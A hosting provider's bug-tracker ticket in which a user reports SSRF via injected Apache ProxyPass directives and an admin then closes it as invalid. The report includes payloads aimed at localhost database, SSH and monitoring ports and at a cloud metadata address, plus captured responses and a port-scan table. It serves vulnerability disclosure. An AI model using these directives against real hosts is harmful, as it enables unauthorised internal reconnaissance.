Security vulnerabilities

  • Status Closed
  • Assigned To
    cbay
  • Private
Attached to Project: Security vulnerabilities
Opened by subhash - 12.07.2026
Last edited by cbay - 13.07.2026

FS#394 - SSRF via ProxyPass Directive Injection — Internal Port Scanning and Service Banner Extraction

## Summary

The `vhost_additional_directives` field accepts arbitrary Apache directives. By injecting `ProxyPass` directives pointing to `127.0.0.1`, I forced Apache to make HTTP requests to internal services and confirmed:

- Port 22 (SSH): Extracted banner `SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u10` — exact patch level
- Port 80 (Apache): Got internal response with Request ID `7eeb27ce-db604505` — internal request tracing
- Ports 3306, 5432, 6379 (MySQL, PostgreSQL, Redis): All returned `503 Service Unavailable` — confirming these database services are running and reachable from localhost
- Port 4949 (Munin): Returned `502 Proxy Error` — monitoring service present

This is SSRF from within the hosting infrastructure, bypassing all external firewalls.

## Environment

Detail Value
——– ——-
Account subhash (ID 486630)
Site subhash.alwaysdata.net (ID 1058919)
Server http21 (Debian 12, shared hosting)
## Steps to Reproduce

### Step 1 — Inject ProxyPass directive targeting SSH (port 22)

Add to the "Additional Apache directives" field on the site configuration page:

```apache
ProxyPass /internal/ http://127.0.0.1:22/ ProxyPassReverse /internal/ http://127.0.0.1:22/ ```

### Step 2 — Extract SSH banner via SSRF

After Apache reload (~10 seconds):

```http
GET /internal/ HTTP/1.1
Host: subhash.alwaysdata.net
```

Response:

```
HTTP/1.1 200 OK
Server: Apache
Via: 1.1 alproxy

SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u10Invalid SSH identification string.
```

Impact: Extracts exact SSH version and patch level (`OpenSSH_9.2p1 Debian-2+deb12u10`). This version information is normally not reachable from outside because direct SSH connections go through the SSH proxy, not the raw daemon.

### Step 3 — Scan internal database ports

Update directives to probe multiple ports:

```apache
ProxyPass /db/ http://127.0.0.1:5432/ ProxyPassReverse /db/ http://127.0.0.1:5432/ ProxyPass /redis/ http://127.0.0.1:6379/ ProxyPassReverse /redis/ http://127.0.0.1:6379/ ProxyPass /mysql/ http://127.0.0.1:3306/ ProxyPassReverse /mysql/ http://127.0.0.1:3306/ ```

Results:

Endpoint Target Response Meaning
———- ——– ———- ———
`/db/` 127.0.0.1:5432 503 Service Unavailable PostgreSQL is running (connection made, protocol mismatch)
`/redis/` 127.0.0.1:6379 503 Service Unavailable Redis is running
`/mysql/` 127.0.0.1:3306 503 Service Unavailable MariaDB/MySQL is running
A `503` from Apache's `mod_proxy` means the TCP connection succeeded but the backend didn't speak HTTP. This confirms the port is open and the service is running. A closed port would return `502 Proxy Error`.

### Step 4 — Probe internal HTTP services

```apache
ProxyPass /p80/ http://127.0.0.1:80/ ProxyPassReverse /p80/ http://127.0.0.1:80/ ProxyPass /munin/ http://127.0.0.1:4949/ ProxyPassReverse /munin/ http://127.0.0.1:4949/ ```

Results:

Endpoint Target Response
———- ——– ———-
`/p80/` 127.0.0.1:80 `Site not found` + Request ID: 7eeb27ce-db604505
`/munin/` 127.0.0.1:4949 502 Proxy Error
Port 80 response is significant: The internal Apache on port 80 responded with a "Site not found" page that includes an internal Request ID (`7eeb27ce-db604505`). This reveals:
- Internal request tracing/correlation infrastructure
- The Request ID format (8hex-8hex) for debugging

### Step 5 — Attempt cloud metadata endpoint

```apache
ProxyPass /meta/ http://169.254.169.254/latest/ ProxyPassReverse /meta/ http://169.254.169.254/latest/ ```

Response: `HTTP 000` (connection timeout) — cloud metadata not reachable from this server (not on AWS/GCP, or metadata endpoint is firewalled).

### Step 6 — Cleanup

All ProxyPass directives were immediately removed after testing.

## Internal Port Scan Summary

Port Service Status Evidence
—— ——— ——– ———-
22 OpenSSH 9.2p1 Open — banner extracted `SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u10`
80 Apache (internal) Open — data returned Request ID `7eeb27ce-db604505`
3306 MariaDB Open — 503 (protocol mismatch) TCP connection succeeded
4949 Munin Open — 502 (connection error) Service present
5432 PostgreSQL Open — 503 (protocol mismatch) TCP connection succeeded
6379 Redis Open — 503 (protocol mismatch) TCP connection succeeded
8000 (unknown) Closed — 503 No service listening
8080 (unknown) Closed — 503 No service listening
169.254.169.254 Cloud metadata Unreachable Connection timeout
## Root Cause

Same as report 01 — the `vhost_additional_directives` field is written directly into Apache vhost configuration without restricting which directives are used. `ProxyPass` tells Apache to forward requests to any target, and `mod_proxy` is enabled by default.

## Impact

1. Full internal port scan from within the infrastructure — an attacker can map every open port on localhost and internal network hosts
2. Service banner extraction — exact versions of SSH, database services, monitoring tools (useful for CVE targeting)
3. Internal request tracing exposure — Request IDs from the internal Apache reverse proxy
4. Database service confirmation — PostgreSQL, MariaDB, and Redis are all running on localhost, reachable via SSRF
5. Bypass of external firewalls — these services are not externally exposed, but SSRF from within the server reaches them directly

## Suggested Fix

1. Block ProxyPass, ProxyPassReverse, ProxyPassMatch in `vhost_additional_directives`
2. Block all proxy-related directives including `RewriteRule … [P]` (proxy flag)
3. Alternatively: Implement a directive allowlist as recommended in report 01

Closed by  cbay
13.07.2026 07:50
Reason for closing:  Invalid
Admin
cbay commented on 13.07.2026 07:50

Hello,

None of those are services you shouldn't access. Besides, you can simply run a curl command over SSH, it's much easier.

Kind regards,
Cyril

Loading...

Available keyboard shortcuts

Tasklist

Task Details

Task Editing